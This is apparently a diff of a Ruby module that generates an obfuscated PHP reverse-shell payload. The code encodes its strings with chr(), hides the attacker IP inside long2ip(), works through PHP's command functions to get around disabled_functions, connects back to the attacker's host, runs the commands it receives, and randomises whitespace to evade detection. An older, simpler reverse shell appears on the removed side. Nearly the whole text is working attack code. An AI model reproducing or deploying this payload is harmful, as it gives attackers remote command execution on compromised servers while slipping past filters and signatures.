| 50 | | # PHP Reverse Shell |
|---|
| | 47 | # PHP Reverse Shell completely without quotes. Strings and regexes |
|---|
| | 48 | # are replaced with chr() equivalents and the IP address to connect to is |
|---|
| | 49 | # replaced with integer equivalent wrapped in long2ip(). |
|---|
| | 50 | # |
|---|
| | 51 | # Attempts to make a connection back to the attacker using fsockopen or |
|---|
| | 52 | # socket_create and associated functions. Then attempts to execute a |
|---|
| | 53 | # system command with the following functions, in order: |
|---|
| | 54 | # - shell_exec |
|---|
| | 55 | # - passthru |
|---|
| | 56 | # - system |
|---|
| | 57 | # - exec |
|---|
| | 58 | # - proc_open |
|---|
| | 59 | # - popen |
|---|
| | 60 | # |
|---|
| | 61 | # Issues |
|---|
| | 62 | # - Since each command is executed in a new shell, 'cd' does nothing. |
|---|
| | 63 | # Perhaps it should be special-cased to call chdir() |
|---|
| | 64 | # - Tries to get around disable_functions but makes no attempts to |
|---|
| | 65 | # circumvent safe mode. |
|---|
| | 66 | # - Should this add '2>&1' to the end of the executed command to avoid |
|---|
| | 67 | # logging suspicious error messages? |
|---|
| 58 | | if datastore['LHOST'] |
|---|
| 59 | | ipaddr = datastore['LHOST'].split(/\./).map{|c| c.to_i}.pack("C*").unpack("N").first |
|---|
| 60 | | end |
|---|
| | 74 | # |
|---|
| | 75 | # The regex looks like this unobfuscated: |
|---|
| | 76 | # preg_replace('/[, ]+/', ',', $disabled); |
|---|
| | 77 | # |
|---|
| | 78 | shell=<<-END_OF_PHP_CODE |
|---|
| | 79 | $ipaddr=long2ip(#{ipaddr}); |
|---|
| | 80 | $port=#{port}; |
|---|
| | 81 | $_=chr(95);$a=chr(97);$b=chr(98);$c=chr(99);$d=chr(100);$e=chr(101); |
|---|
| | 82 | $f=chr(102);$h=chr(104);$i=chr(105);$l=chr(108);$m=chr(109);$n=chr(110); |
|---|
| | 83 | $o=chr(111);$p=chr(112);$r=chr(114);$s=chr(115);$t=chr(116);$u=chr(117); |
|---|
| | 84 | $x=chr(120);$y=chr(121); |
|---|
| | 85 | $disabled=@ini_get($d.$i.$s.$a.$b.$l.$e.$_.$f.$u.$n.$c.$t.$i.$o.$n.$s); |
|---|
| | 86 | if(!empty($disabled)){ |
|---|
| | 87 | $disabled=preg_replace(chr(47).chr(91).chr(44).chr(32).chr(93).chr(43).chr(47),chr(44),$disabled); |
|---|
| | 88 | $disabled=explode(chr(44),$disabled); |
|---|
| | 89 | $disabled=array_map($t.$r.$i.$m,$disabled); |
|---|
| | 90 | }else{ |
|---|
| | 91 | $disabled=array(); |
|---|
| | 92 | } |
|---|
| | 93 | @set_time_limit(0); |
|---|
| | 94 | @ini_set($m.$a.$x.$_.$e.$x.$e.$c.$u.$t.$i.$o.$n.$_.$t.$i.$m.$e,0); |
|---|
| | 95 | function myexec($cmd){ |
|---|
| | 96 | global$disabled,$_,$a,$c,$e,$h,$m,$n,$o,$p,$r,$s,$t,$u,$x,$y; |
|---|
| | 97 | if(is_callable($s.$h.$e.$l.$l.$_.$e.$x.$e.$c)and!in_array($s.$h.$e.$l.$l.$_.$e.$x.$e.$c,$disabled)){ |
|---|
| | 98 | $output=shell_exec($cmd); |
|---|
| | 99 | return$output; |
|---|
| | 100 | }elseif(is_callable($p.$a.$s.$s.$t.$h.$r.$u)and!in_array($p.$a.$s.$s.$t.$h.$r.$u,$disabled)){ |
|---|
| | 101 | ob_start(); |
|---|
| | 102 | passthru($cmd); |
|---|
| | 103 | $output=ob_get_contents(); |
|---|
| | 104 | ob_end_clean(); |
|---|
| | 105 | return$output; |
|---|
| | 106 | }elseif(is_callable($s.$y.$s.$t.$e.$m)and!in_array($s.$y.$s.$t.$e.$m,$disabled)){ |
|---|
| | 107 | ob_start(); |
|---|
| | 108 | system($cmd); |
|---|
| | 109 | $output=ob_get_contents(); |
|---|
| | 110 | ob_end_clean(); |
|---|
| | 111 | return$output; |
|---|
| | 112 | }elseif(is_callable($e.$x.$e.$c)and!in_array($e.$x.$e.$c,$disabled)){ |
|---|
| | 113 | $output=array(); |
|---|
| | 114 | exec($cmd,$output); |
|---|
| | 115 | $output=join(chr(10),$output).chr(10); |
|---|
| | 116 | return$output; |
|---|
| | 117 | }elseif(is_callable($p.$r.$o.$c.$_.$o.$p.$e.$n)and!in_array($p.$r.$o.$c.$_.$o.$p.$e.$n,$disabled)){ |
|---|
| | 118 | $handle=proc_open($cmd,array(array(pipe,r),array(pipe,w),array(pipe,w)),$pipes); |
|---|
| | 119 | $output=NULL; |
|---|
| | 120 | while(!feof($pipes[1])){ |
|---|
| | 121 | $output.=fread($pipes[1],1024); |
|---|
| | 122 | } |
|---|
| | 123 | @proc_close($handle); |
|---|
| | 124 | return$output; |
|---|
| | 125 | }elseif(is_callable($p.$o.$p.$e.$n)and!in_array($p.$o.$p.$e.$n,$disabled)){ |
|---|
| | 126 | $fp=popen($cmd,r); |
|---|
| | 127 | $output=NULL; |
|---|
| | 128 | if(is_resource($fp)){ |
|---|
| | 129 | while(!feof($fp)){ |
|---|
| | 130 | $output.=fread($fp,1024); |
|---|
| | 131 | } |
|---|
| | 132 | } |
|---|
| | 133 | @pclose($fp); |
|---|
| | 134 | return$output; |
|---|
| | 135 | }else{ |
|---|
| | 136 | return false; |
|---|
| | 137 | } |
|---|
| | 138 | } |
|---|
| | 139 | $command=NULL; |
|---|
| | 140 | $nofuncs=$n.$o.chr(32).$e.$x.$e.$c.chr(32).$f.$u.$n.$c.$t.$i.$o.$n.$s.chr(32).chr(61).chr(40); |
|---|
| | 141 | if(is_callable(@f.@s.@o.@c.@k.@o.@p.@e.@n)and!in_array(@f.@s.@o.@c.@k.@o.@p.@e.@n,$disabled)){ |
|---|
| | 142 | $sock=fsockopen($ipaddr,$port); |
|---|
| | 143 | while($cmd=fread($sock,2048)){ |
|---|
| | 144 | $output=myexec(substr($cmd,0,-1)); |
|---|
| | 145 | if($output===false){ |
|---|
| | 146 | fwrite($sock,$nofuncs); |
|---|
| | 147 | break; |
|---|
| | 148 | } |
|---|
| | 149 | fwrite($sock,$output); |
|---|
| | 150 | } |
|---|
| | 151 | fclose($sock); |
|---|
| | 152 | }else{ |
|---|
| | 153 | $sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP); |
|---|
| | 154 | socket_connect($sock,$ipaddr,$port); |
|---|
| | 155 | while($cmd=socket_read($sock,2048)){ |
|---|
| | 156 | $output=myexec(substr($cmd,0,-1)); |
|---|
| | 157 | if($output===false){ |
|---|
| | 158 | socket_write($sock,$nofuncs); |
|---|
| | 159 | break; |
|---|
| | 160 | } |
|---|
| | 161 | socket_write($sock,$output,strlen($output)); |
|---|
| | 162 | } |
|---|
| | 163 | socket_close($sock); |
|---|
| | 164 | } |
|---|
| | 165 | END_OF_PHP_CODE |
|---|
| 62 | | shell = <<-END_OF_PHP_CODE |
|---|
| 63 | | error_reporting(E_ALL); |
|---|
| 64 | | $service_port = #{datastore['LPORT']}; |
|---|
| 65 | | |
|---|
| 66 | | $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); |
|---|
| 67 | | $result = socket_connect($socket, #{ipaddr}, $service_port); |
|---|
| 68 | | |
|---|
| 69 | | $command = NULL; |
|---|
| 70 | | |
|---|
| 71 | | while ($command = socket_read($socket, 2048)) { |
|---|
| 72 | | $output = shell_exec(substr($command, 0, -1)); |
|---|
| 73 | | socket_write($socket, $output, strlen($output)); |
|---|
| | 167 | shell.gsub!(/[\t\n]+/, "\t") |
|---|
| | 168 | # spaces are important but there's no need for tabs and newlines, so |
|---|
| | 169 | # randomize them bit |
|---|
| | 170 | shell.gsub!("\t") { |s| |
|---|
| | 171 | len = rand(5)+2 |
|---|
| | 172 | set = "\x09\x20\x0d\x0a" |
|---|
| | 173 | buf = '' |
|---|
| | 174 | |
|---|
| | 175 | while (buf.length < len) |
|---|
| | 176 | buf << set[rand(set.length)].chr |
|---|
| | 177 | end |
|---|
| | 178 | |
|---|
| | 179 | buf |
|---|